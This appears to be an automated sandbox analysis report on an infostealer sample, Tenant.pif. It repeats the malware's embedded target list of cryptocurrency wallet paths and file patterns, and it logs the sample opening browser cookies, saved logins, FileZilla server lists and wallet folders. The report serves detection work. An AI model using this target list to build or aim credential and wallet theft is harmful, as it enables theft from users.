Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
